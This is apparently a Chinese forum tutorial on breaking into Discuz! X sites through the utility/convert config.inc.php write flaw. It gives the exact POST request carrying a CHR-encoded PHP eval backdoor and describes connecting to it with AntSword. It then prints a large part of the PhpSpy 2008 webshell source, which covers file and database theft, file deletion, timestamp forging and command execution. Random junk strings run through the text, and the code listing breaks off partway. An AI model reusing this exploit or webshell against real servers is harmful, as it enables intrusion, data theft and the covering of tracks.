|
攻击思路:8 Q; h9 u3 J2 n8 K! T* k
想要拿下一台主机A的权限:
6 u8 j q) ]* c5 ^! N1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞0 ]7 _% S4 Q7 \0 Y- B, k# L
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
5 G( t4 k! z3 u5 q3、传上去后,得到apache用户普通权限,再提权成root
3 w, \& m% ^1 A0 f5 N) x概述:' h1 d; o! U$ a
这突破在一个DZ X系列自带的转换工具里面。
' Q5 I1 R& b8 p" U7 H1 v q漏洞路径:utility / convert / data / config.inc.php
6 W) X8 g" ^! N+ S4 V0 P5 E* g漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。7 @) y6 ~4 T- u
触发突破过程:$ T2 H- m* E- f8 P( F" w
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php
& W U$ X- Y5 n4 a; I4 h5 W2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序0 |" t8 Y* Z/ r; {. E% j$ Q
攻击过程:3 ^: B2 j0 B4 T- O4 t+ e* y
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
7 J+ h+ u& D/ I& W
M0 h( E8 X" W: _1 C & ]# p$ [2 h7 ]1 l- n9 [9 S, m7 P
2,右键单击空白处,选择发送到中继器,将报文发到中继器 
3、然后在中继器中查看信息: 
4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes这是一个经过加密的一句话木马解密后内容如下: POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa eval("$_POST[c];"););eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行 
5、修改完成后发送数据包 
6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php 代码详细: 
可以看到和我们修改提交的参数类似。而且多了很多^ M符号。 扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n 7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
& u$ X2 W) [5 Q& J2 A. G 3 O8 G) E$ ]+ v) K! u8 _2 y. z
8、通过中国蚁剑上传大码
3 E( [" j4 H$ |( I5 q0 }- r+ F 8 \$ ^: n5 e5 r. a D
/ l, {) x5 z* J0 ~( Y5 E# P" j
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd webshell代码如下: - <?php
5 M, `7 e6 A9 O - ( A& d# m# Z' L, P$ T* Q
- /*****************************************************************************
: A2 d7 i5 g- A4 Y8 ?+ s - 3 D* j- j2 ?7 H- x
- ===================== 请误用于非法用途,造成一切后果与本人无关。====================5 e4 ?! k* y, h- k
- 0 r" Q" W3 a1 s4 S. S1 y/ m( x9 ~
- ====
( u2 B, W6 U3 U: i2 D% V, m, z - ; l4 w2 Q% o \
- 5 P9 p6 y/ C4 o3 L1 k
- *****************************************************************************/
% h" Y* O! Y$ \. q3 q -
, Z: a( V' c; {3 F7 f. E. M - error_reporting(7);
) u# |* n: `; \, F m3 C" m - @set_magic_quotes_runtime(0);
4 s% c. B9 A a5 j - ob_start();
- r% W% ?/ k) `7 ^ - $mtime = explode(' ', microtime());5 @! X5 u9 r* J
- $starttime = $mtime[1] + $mtime[0];5 G2 M" n. i+ }" J# K1 ]" K) u8 p
- define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');2 l) w+ k# e2 T- I5 N0 C8 Y
- //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
/ W0 ~4 O" F! `# E - define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
3 e- C( j: o7 c+ ~/ L$ a8 r - define('IS_COM', class_exists('COM') ? 1 : 0 );4 B$ B3 ~3 w! V- c
- define('IS_GPC', get_magic_quotes_gpc());
, V j \/ @) e - $dis_func = get_cfg_var('disable_functions'); Y) l* C" b l F
- define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );+ ^' O. W, ` i5 U5 j
- @set_time_limit(0);
: c& [$ u/ p- ^- }: c2 H; w4 P" U - " S) L* K$ n& C: b- J
- foreach(array('_GET','_POST') as $_request) {" }- j$ a' l: Z) |- ? y
- foreach($$_request as $_key => $_value) {
0 \% _7 G t3 O' z8 h5 ] - if ($_key{0} != '_') {( X7 i& w! ?2 a; W+ U* x8 A: O( S
- if (IS_GPC) {4 N4 L3 q$ L' p1 w. {: |2 ^3 h
- $_value = s_array($_value);8 }# D8 \% u/ I D+ v
- }6 U2 C( h2 e( d) _1 c6 N/ a9 G
- $$_key = $_value;
) Z2 \; \. |7 B - }2 R2 |* d9 {" c4 {9 l
- }
/ h; C' Z" {, W, d1 {0 L/ m - }
; `# {2 f" y, ~- o2 D, b - 7 p7 P: j8 V$ I
- /*===================== 程序配置 =====================*/
N. ?5 X+ Q0 V/ H% |8 Q - $admin = array();
( D0 v1 J; L ?1 j - // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效6 L v3 a; h4 T4 o: L6 p7 E
- $admin['check'] = true;2 N6 u; D% D' {0 c; | B" L
- // 如果需要密码验证,请修改登陆密码1 {1 c0 y2 S5 p2 L
- $admin['pass'] = 'xuegod';) m6 _) e( v3 t: Y4 X, {
- / w/ |2 U( F+ e6 k7 J- V* h
- //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认! K( d& j' h: b& ^! I6 `
- // cookie 前缀3 ~5 G6 K4 K0 O$ e
- $admin['cookiepre'] = '';
) j; i5 R3 f' h$ A" ] E7 Y8 s - // cookie 作用域% U0 g( O y% d$ A
- $admin['cookiedomain'] = '';" y6 C+ U! T$ f' o
- // cookie 作用路径/ Y7 K! i( b, `7 T5 d4 @
- $admin['cookiepath'] = '/';$ _; X- c4 z4 O# F
- // cookie 有效期
/ ?" ~+ A7 H4 i H* \ - $admin['cookielife'] = 86400;
& C+ i/ e! d8 q3 t8 t% e - /*===================== 配置结束 =====================*/
3 ~1 B* b6 @9 a2 o -
0 J7 }1 a5 A% L9 g6 `! w' G7 _ - if ($charset == 'utf8') {
% `( u. j% I/ ^+ w5 v4 @: y# \ - header("content-Type: text/html; charset=utf-8");' T8 l9 w% x: \
- } elseif ($charset == 'big5') {6 I! ]" |% k9 y8 G) E! N
- header("content-Type: text/html; charset=big5");
. s! y# f! m& X6 r: t n% u f - } elseif ($charset == 'gbk') {: m5 O- o; Z9 C/ J( m( G6 v
- header("content-Type: text/html; charset=gbk");
3 U& p \% f9 N8 q; Q - } elseif ($charset == 'latin1') {
4 v7 G T& f$ v2 m' b - header("content-Type: text/html; charset=iso-8859-2");9 m6 }. E% [3 ?7 _; x d7 l
- }/ s" J \, O- c; X( S
-
8 A5 A$ g5 F }6 A5 K9 @, R - $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$ l8 \/ B# |% y; y1 B - $timestamp = time();
% x" _- S& d( ?( t -
& }% g% P+ d; e7 k - /*===================== 身份验证 =====================*/8 J: F. ?3 c1 \$ W
- if ($action == "logout") {
2 } L" ^# V. v - scookie('phpspypass', '', -86400 * 365);& ?$ W3 D, N$ ]2 z) I
- p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
! n: j( n) m7 E9 c) @0 p% J - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
# l2 e# ?0 p+ _9 `# Z& H+ {) _ - exit;
7 S3 O' e0 j7 `1 | - }
s) Z( V1 K, A4 v1 C' B& r! k - if($admin['check']) {# V' p% i V! y, e5 @2 L9 K. Z
- if ($doing == 'login') {* H5 u( y+ b: {# E; w/ _
- if ($admin['pass'] == $password) {
1 \( ^- o; I+ ]( O - scookie('phpspypass', $password);
- W( v, q' g# r$ c- i - p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
2 d7 \* g* F3 I: l1 m- I2 O _/ J - p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');* Y, ?1 Y6 w& j* E
- exit;
, L: a& M8 Z6 b+ ^ Q8 L9 R - }
! M9 g9 J0 U& u% r - }
* `6 v- q0 ]& _; ` - if ($_COOKIE['phpspypass']) {
% Q9 R3 }! [& j+ j/ X ] - if ($_COOKIE['phpspypass'] != $admin['pass']) {6 V. S6 m2 n( F, T" P1 q( ?
- loginpage();( C1 _% Y) k* ^& \- e, M
- }; a, U6 T4 t6 w
- } else {2 {* V( F6 i3 [9 F* I2 Z
- loginpage();
! n9 s* e$ P% N, s3 P - }
+ ]% I* b- D$ C/ x |7 K - }# c/ D$ T; H7 [) H6 U4 I7 g
- /*===================== 验证结束 =====================*/
2 ^% W& w6 i6 y, l -
* @1 _" x- a. W$ Z5 V - $errmsg = ''; M) a. D+ w8 O4 Y9 c6 c' n
- ; `/ b0 b. t E! T+ M$ O/ B
- // 查看PHPINFO' r+ W! I" y" w, [3 h- c
- if ($action == 'phpinfo') {
0 a- q, {, O F - if (IS_PHPINFO) {% a( q3 J7 i" z% i! C& {. W5 _; w8 y
- phpinfo();
7 k( I' b; U$ I/ { c - } else {
" H2 R7 c, v8 E5 r - $errmsg = 'phpinfo() function has non-permissible';
' ^( |4 [# m( U. A7 q* }4 U2 Y8 v - }" L( C# D8 u, ^: k' K _6 N
- }
`6 s( X0 W1 f - + j3 [: i& c( c8 h1 h( m! o
- // 下载文件
6 q% H/ D4 j' B0 g - if ($doing == 'downfile' && $thefile) {
+ V5 O8 D2 y* h, V4 w V* y6 | - if (!@file_exists($thefile)) {5 ]: X1 ~4 n- b; V. U7 b: J1 a3 {1 L
- $errmsg = 'The file you want Downloadable was nonexistent';9 D8 J3 L. U! U- @ K
- } else {
9 z& E0 j9 m: @+ } - $fileinfo = pathinfo($thefile);
8 z# e8 A7 z4 x) i# E. i8 T - header('Content-type: application/x-'.$fileinfo['extension']);
3 Z, F# u) ?. Y: I - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);, K N) e& y# G" n
- header('Content-Length: '.filesize($thefile));& e+ Z* v* V! i0 V% C, D
- @readfile($thefile);8 E% Q1 g5 H# \ f3 {& `
- exit;
% l' _2 g9 {3 z U y - }
' c, W3 o6 g8 ] - }
9 d" |# w0 P% i. U -
3 T5 ?+ k: d' H/ ?/ o, J% c k - // 直接下载备份数据库
8 N3 |. L' e6 b' f! Z3 D - if ($doing == 'backupmysql' && !$saveasfile) {& ]8 ?$ b! h0 C
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
8 B) s/ _6 |6 E; ^" V$ ? - $table = array_flip($table);8 r, W3 Y9 G' \( `( x* S3 M
- $result = q("SHOW tables");
; ~0 r2 S# d: a4 F' E! i6 y - if (!$result) p('<h2>'.mysql_error().'</h2>');
8 |( x+ m: O( S2 H! R - $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');+ W# A2 s. i6 {2 x" O$ D
- header('Content-type: application/unknown');
* E3 w; q0 z! Z/ E. w - header('Content-Disposition: attachment; filename='.$filename);
6 p7 z' \# x$ ^% p3 X0 o7 k+ X - $mysqldata = '';
9 R3 |. l& [( ]! Y - while ($currow = mysql_fetch_array($result)) {
+ }) z5 {5 H. E - if (isset($table[$currow[0]])) {3 x) ]0 n* U% A8 C, B
- $mysqldata .= sqldumptable($currow[0]);
* c& J2 u$ u+ R |. A) z7 I/ f - }' _8 b* B$ K$ \1 i% c0 u
- }
# B+ l6 ?+ M; E- O: [" ] - mysql_close();
7 i1 y! x5 O1 l5 P - exit;
2 d: k; ^6 {$ j4 _, r( W - }
: M; ~. D. p7 z) Y, E4 h0 m -
$ F2 {* ^4 p" }* o5 c+ i - // 通过MYSQL下载文件9 D0 H* c% A3 f x2 J5 e" c
- if($doing=='mysqldown'){8 V6 a" A, a1 Y" m" o1 e
- if (!$dbname) {3 `- F% z% ?0 G) r: `8 L
- $errmsg = 'Please input dbname';
" O& Q7 p$ h0 D8 D' C& f - } else {3 ~) M1 t4 v% h2 f, j) H, w( W& ^$ p
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
" [' Q$ }! o) p& x - if (!file_exists($mysqldlfile)) {' q# q* u Y" M7 n) I2 I
- $errmsg = 'The file you want Downloadable was nonexistent';
8 `& E) p/ C6 z, n! J$ l/ o - } else { t$ x5 U6 N2 o* k. [- Z$ B+ B7 g5 a
- $result = q("select load_file('$mysqldlfile');");0 l0 n7 s @ t
- if(!$result){
" t2 v; l! g g - q("DROP TABLE IF EXISTS tmp_angel;");
N0 y+ t3 E7 W" ]" M ^5 F, Y" Z - q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");0 a9 A4 D, j E1 C6 Q3 P% {6 D
- //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况5 m, i: S& k5 E7 W6 j
- q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
# j1 N9 G1 D- L( V5 o - $result = q("select content from tmp_angel");
4 T6 |8 p ]2 J - q("DROP TABLE tmp_angel");1 ^0 X8 f3 X- B3 y; A& P5 ]- s
- }; j. g7 V9 W0 T3 U
- $row = @mysql_fetch_array($result);
$ s/ F4 d3 Y' [) A8 G4 t3 f2 ? - if (!$row) {
& |) Y+ c8 _% w: U7 G - $errmsg = 'Load file failed '.mysql_error();# q% H5 X! n% m# z* a& Q/ Z# j; {
- } else {
8 M4 a8 i8 Y/ ]4 u) i - $fileinfo = pathinfo($mysqldlfile);
* N7 B5 J9 g& v- t: ~- g - header('Content-type: application/x-'.$fileinfo['extension']);
7 K7 a& Q; e- D6 }; D4 X - header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
% ]* f: A. v% Q+ b - header("Accept-Length: ".strlen($row[0]));& D( i+ G! r+ P6 l5 k
- echo $row[0];
$ _! Y# n% A4 e. |5 H0 L3 H - exit;
# u+ Q- M4 F, `8 |1 Z/ Y: ` - }
! W8 k6 A' g; ? - }3 q$ J9 U! C" d0 A f0 H/ o
- }
/ o% U$ O7 \+ v* h9 D - }+ k5 i5 n7 B5 Y- M) `( c! `
- ! }: `2 Y# Q; S, ^4 v) p
- ?>
& q& X' W I, N3 P& e2 u - <html>& g1 W4 [( Y2 A% R9 C
- <head>. K* h6 A8 l! l' d! n* S! L/ S
- <meta http-equiv="Content-Type" content="text/html; charset=gbk">
0 {' n9 ~# S M5 c* K - <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
. Q% e9 N/ c$ ` - <style type="text/css">0 `2 M3 H, `/ x* k4 w
- body,td{font: 12px Arial,Tahoma;line-height: 16px;}
$ @1 J( r7 w A+ m - .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}$ z# `7 _- g2 e8 @; _! e
- .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}8 e, g6 q9 h6 o+ R& E/ _
- .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}- N0 |9 z# s! T) d' [& x
- a {color: #00f;text-decoration:underline;}7 K7 V9 k- L7 ]/ J8 C
- a:hover{color: #f00;text-decoration:none;}" t& @) R: ~6 {: {9 [- [7 o( I- H8 O
- .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}% Y! p6 J! P1 i5 l6 E; y7 F0 z
- .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}6 \1 T$ S: L' N) [$ l& ]5 k0 Q
- .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}0 E: l( c* ~- o% ]) U
- .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
) p2 N7 B) B+ S5 h1 h - .head td span{font-weight:normal;}( I& n+ P1 P9 Q% w% D' \2 {
- form{margin:0;padding:0;}6 S! p$ U0 R! K q
- h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
; @, a5 f0 F; Q& C; f5 {4 D - ul.info li{margin:0;color:#444;line-height:24px;height:24px;}( [( ]0 ?8 T9 [% o
- u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}' u/ \5 R$ m+ }% d5 b) I1 D1 `4 s1 O, m
- </style>" X: f* S" p6 ]4 |* Z. X6 a$ l w
- <script type="text/javascript">
- t5 K# E6 f% j6 k - function CheckAll(form) {
6 U3 u- e' g/ z - for(var i=0;i<form.elements.length;i++) {- e- {2 h( P7 v- T8 O* v3 U z
- var e = form.elements[i];
4 L2 e+ U0 G) w3 Z4 o - if (e.name != 'chkall')' e/ {% ?+ t5 v$ l+ w# R# H# s
- e.checked = form.chkall.checked;
% |) P \) t: l8 T - }6 w8 f. ~- f; O- c8 M( f+ m$ j
- }
1 L. z; a" E6 m% R0 U" }- u9 B, r) k - function $(id) {
2 D: @" h7 l/ C - return document.getElementById(id);, ~8 v" P; A" z
- }% W+ Z* {9 [, d! i+ ~4 U' n
- function goaction(act){
! I& `: q! z K: l1 _, X - $('goaction').action.value=act;2 ]" k6 S" [* e
- $('goaction').submit();; |9 G2 ^: s. B# s) L% ~
- }, w" d; F5 p! E3 V' p: K
- </script>
% [- d0 S; B' N& N" c - </head>
( |) u4 S; o+ N* ~ - <body style="margin:0;table-layout:fixed; word-break:break-all">) p: V/ r0 Z9 Y9 f
- <table width="100%" border="0" cellpadding="0" cellspacing="0">
. p# Y) L# `& l" W8 ^( ^! t - <tr class="head">9 w ^) F0 Y4 V
- <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>' {5 d; f9 ? Y
- </tr> r. O2 h$ S2 u" o% j
- <tr class="alt1"># y. i3 x- M3 }+ M1 Z2 \! c+ o7 d
- <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span># ]& f$ g' W+ N! R; c, B; r
- <a href="javascript:goaction('logout');">Logout</a> |
2 c2 R @0 l1 e5 g4 w& O0 | - <a href="javascript:goaction('file');">File Manager</a> | + C/ N: O& x# D% s) g+ Q R" r
- <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
- s' O4 H8 [: L7 a( Y- |, h - <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
1 \1 C/ R T; a, [2 U) r1 d3 d - <a href="javascript:goaction('shell');">Execute Command</a> | 0 ^! C8 L4 o0 t; _7 h, q2 C; j1 ^3 ^
- <a href="javascript:goaction('phpenv');">PHP Variable</a> | 8 D- O& R7 N( Z) ]
- <a href="javascript:goaction('eval');">Eval PHP Code</a>$ A( H" E/ m* P0 p
- <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
' U# ?2 I% ]" o5 o' Z/ c - </td>7 ^0 l( C4 U L" U9 L2 }" J
- </tr>
3 l$ o2 E- o0 w) n/ H# ] - </table>/ ?( ^# G. v& Y1 S+ }% b/ n; j
- <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>, O W+ L6 g3 `8 l0 r6 c
- <?php
8 w) w1 S5 y# K' ^' G0 |; j - e/ S) h9 G7 |9 D9 y( f
- formhead(array('name'=>'goaction'));0 M A# }( s7 [2 p1 W
- makehide('action');8 H9 V5 E' V4 p
- formfoot();
* m4 S) {6 V$ } -
9 M# W. X: ?4 w* L9 P6 A$ Z - $errmsg && m($errmsg);
1 p& k( n2 Y& z% T7 @) S - / \9 S$ {3 N5 t1 Z) i
- // 获取当前路径. y. V# B: s: U! U1 o; ]# E$ z) W9 t- t
- !$dir && $dir = '.';- N" ^" d' g: j
- $nowpath = getPath(SA_ROOT, $dir);
/ ]6 P) A0 [0 n( l5 k - if (substr($dir, -1) != '/') {2 }, J9 h3 h$ y5 k2 }
- $dir = $dir.'/';" E) W4 U: O/ m( }+ v* k, v
- }5 X3 b# o$ l6 G0 V
- $uedir = ue($dir);
6 u- w( a/ P; c - . E" g6 {( X) s8 m% O8 d5 t
- if (!$action || $action == 'file') {
" j% ?" ^6 i' o3 i -
9 ?; K P. g4 S' j - // 判断读写情况
2 i. A1 R/ }, n, W2 ^; s* n( J - $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';$ B( J; O4 V, y. `' C
- $ A! |) W" V# g2 G' U
- // 删除目录
! l6 ?. G3 j8 [ - if ($doing == 'deldir' && $thefile) {0 t6 y! ?7 S, Z# h. g* W7 \! o
- if (!file_exists($thefile)) {
, i9 U" |) T; `, K; ?$ g - m($thefile.' directory does not exist');5 k7 ]& [9 ^: V1 i
- } else {
$ }, x5 f G* G! G - m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
+ l- b7 d* R( P+ }3 }) H" L* O9 s - }
( z1 F4 V- M! ?3 b; M. v3 A! n - }$ k. o* Y- n% j9 X3 s
-
' O; O+ D) }( b2 L/ X - // 创建目录7 j8 @8 ~2 X( Y; {
- elseif ($newdirname) {
2 Q) c- a% b0 \) b; m/ O! F3 { - $mkdirs = $nowpath.$newdirname;
1 \, f) `3 ^# e& N - if (file_exists($mkdirs)) {1 D! i& y% `; ]
- m('Directory has already existed');( o! `9 [- t7 g7 T3 o6 O* J
- } else {; k" ^: }6 c h
- m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
+ ~. i! S3 m3 l7 P - @chmod($mkdirs,0777);
& b8 w2 q4 v* O, `3 Z: d - }
' S% m- z" w) F% {, i! p0 c - }! B! n+ y: y5 p8 [* I6 C3 C
-
) s4 ^& y* h" j9 U& b9 [ ^ - // 上传文件
; M* E! Y4 g5 ?$ N! Q - elseif ($doupfile) {' a3 v1 z, J) X( o8 d4 X
- m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));4 I( l* d! v1 p- T' T
- }
( y- Y! l9 W6 N- c1 U+ T1 E% H -
+ L: e6 v1 k4 Q* h% L: j4 Z+ Q0 T - // 编辑文件! }" }/ ?4 [2 m# h" l
- elseif ($editfilename && $filecontent) {
" w+ E; |; w' s2 G5 b! V - $fp = @fopen($editfilename,'w');
1 A* q/ M9 x4 g% t, S* n - m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));2 A) d$ P1 u4 F! l N
- @fclose($fp);
5 o& p; s9 D! l! [/ y - }
/ f: ~( k `, k9 A& l -
9 I5 K- h3 F. _ - // 编辑文件属性
: Q" E* H5 v7 O, N" B# o( R - elseif ($pfile && $newperm) {7 k5 f0 @9 V0 r1 T
- if (!file_exists($pfile)) {
: U7 V( b b$ D0 r5 y8 |3 X - m('The original file does not exist');( F/ e. ]7 h1 y
- } else {5 m( D, U$ S1 R) t+ r
- $newperm = base_convert($newperm,8,10);% Q' o6 Q4 O. a2 ?
- m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
4 S, X" z, c( U5 g) Z8 d8 g - }9 H( N( ^& p% m1 r+ k
- }# B/ ^" s. c! J9 f$ X1 U- m
-
8 \- J7 Y! r3 \+ f0 R+ o2 R - // 改名
6 n9 `0 M, J3 w9 U! X2 D4 E* E - elseif ($oldname && $newfilename) {
* F- y9 ?: F! W1 W3 A% |7 ~ - $nname = $nowpath.$newfilename;* b2 D, W# x0 w% n0 o1 C' R @" S `. T
- if (file_exists($nname) || !file_exists($oldname)) {8 E) _; c' m2 g8 v, r- B
- m($nname.' has already existed or original file does not exist');4 K) c1 ~7 c4 r p
- } else {
( V) m* q8 ~! }+ ^ - m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));* W+ W/ Y1 i( N( l
- }# \) @! Z( }* @8 |
- }) f( b) s5 D z
- 0 B$ W7 R4 H3 D2 s) Y
- // 复制文件
0 {* ^/ {7 ~5 w+ k+ { - elseif ($sname && $tofile) {
$ L4 d+ M/ S% k' H# ^' C T: D - if (file_exists($tofile) || !file_exists($sname)) {. k# ^& B, p C5 k
- m('The goal file has already existed or original file does not exist');% o3 U3 h% Q& V+ u/ f! X
- } else {
' B) Z- x/ p4 _ - m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
2 b' f! e5 ]2 } - }
: Y E9 w* y7 }4 Z/ K1 }, e& V: E - }
4 v! N" y& g) {) U - ! S7 x" ~( V; z- c
- // 克隆时间, b2 O5 y- P. L v! M& }# ^5 ?3 {0 A3 j
- elseif ($curfile && $tarfile) {! B8 `* x4 W( k; z1 g5 g6 o
- if (!@file_exists($curfile) || !@file_exists($tarfile)) {" B. L, ^* L0 L' l% n( f7 K
- m('The goal file has already existed or original file does not exist');
) }/ E' H( i0 | \+ a - } else {
B% b; A4 d" B" x. t3 y - $time = @filemtime($tarfile);
8 i& [# |) |0 [, J - m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));) O* q& x/ i/ r+ z4 Z, w2 s0 w
- }
$ Q% ]! |7 e9 m# h0 x: I - }
2 a4 d: W% Y% P - 9 G2 B( Q- Q. R( v2 n: q
- // 自定义时间
9 ]$ `, N6 a6 Z ]5 M/ } - elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {+ B/ N5 O; k: f. F& m7 m
- if (!@file_exists($curfile)) {
% s& I- w6 g# k G% ? - m(basename($curfile).' does not exist');
7 a: W2 |5 l7 J+ L2 ?* T/ z - } else {. C1 }; U" c& g/ B$ {
- $time = strtotime("$year-$month-$day $hour:$minute:$second");" |4 W* m/ f/ P4 {9 Q# m
- m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
6 y+ N8 Z% f, L2 E% `# e8 E) i - }
$ I5 V7 R6 D' k, f+ m# ? - }! _' V2 D9 o9 I0 ]: @5 ?
- % E0 z7 `0 S6 H$ J5 M/ _$ f8 O( U
- // 打包下载
2 V) x* l& t6 Y' t. n. ]: V* }+ d - elseif($doing == 'downrar') {% ]) \+ t( s# L# H2 p" B$ Q
- if ($dl) {
1 M# \4 n' Y7 b - $dfiles='';
~& ]+ S' S1 c. }( j+ r - foreach ($dl as $filepath => $value) {0 O1 e% ~$ k4 u1 S
- $dfiles.=$filepath.',';7 x3 B" q. \8 L! {
- }
2 c6 M2 o# |- L$ L/ Q9 o- V - $dfiles=substr($dfiles,0,strlen($dfiles)-1);, H; Q) @8 S0 k. L1 m
- $dl=explode(',',$dfiles);
" R5 u: U4 l* `9 @7 p+ @ - $zip=new PHPZip($dl);
* z6 \6 @/ @: ?3 \. L2 z- x - $code=$zip->out;
4 O0 z) R2 @% Q7 b- _ - header('Content-type: application/octet-stream');
8 N" [5 p% k/ w5 s( @3 Q- x - header('Accept-Ranges: bytes');
9 H# {. I" Z- m8 ]6 D( U - header('Accept-Length: '.strlen($code));
* s2 Y4 ]0 \" ?; d* l2 A - header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
' R4 r, `3 V- Q6 p' o7 d - echo $code;
/ y2 o9 t7 ?1 ?/ y: }5 b' q% K% ~ - exit;
8 M7 ?: j ~, X4 ~2 F2 O; Z* r# U - } else {
1 @1 ?8 s# ?3 Z" x6 G8 a8 P4 y: f - m('Please select file(s)');% ]+ a* @% s, x& U' Z& \
- }
( E* @6 d: ~0 t0 ~7 E6 x - }
0 y9 R. [7 I( s# `6 E -
" G% G3 U" l" o( E7 D- k - // 批量删除文件; G# {. ?/ A/ t/ K% ^
- elseif($doing == 'delfiles') {7 S6 r" C; r8 h4 w! M
- if ($dl) {
& ]3 O1 K7 Y& [ - $dfiles='';# e6 K7 o; h; D/ U7 g9 t7 b8 }1 P
- $succ = $fail = 0;, H+ P1 D$ b) @$ Z9 Y
- foreach ($dl as $filepath => $value) {
, Q2 n1 {. ?* k& A3 M8 p; g - if (@unlink($filepath)) {
6 A- c/ O5 @/ A - $succ++;+ N3 @; j! ` V# s) T1 [
- } else {% s2 h1 ^8 _1 b' T; G- H
- $fail++;: F; F6 A h" |) L
- }
% G2 B' z# j. W( i - } V4 T$ U0 L- R: I& r p/ X
- m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
' e$ u6 z! C$ r* h+ S* C; p - } else {6 _8 z3 F; ?/ I* m+ {
- m('Please select file(s)');
2 z: m: e. c, b9 N - }
. i' t5 ]! W+ U5 Q. o: ? - }
9 S* b- U: U" E9 L -
/ D9 e- \6 z- t+ h$ [6 Q - //操作完毕
/ R9 R! G7 ^9 H5 {5 u. [ - formhead(array('name'=>'createdir'));
. h4 Q; |* m. [" ~% k - makehide('newdirname');
2 |5 K# r: D* }/ Z5 s( j; ? - makehide('dir',$nowpath);
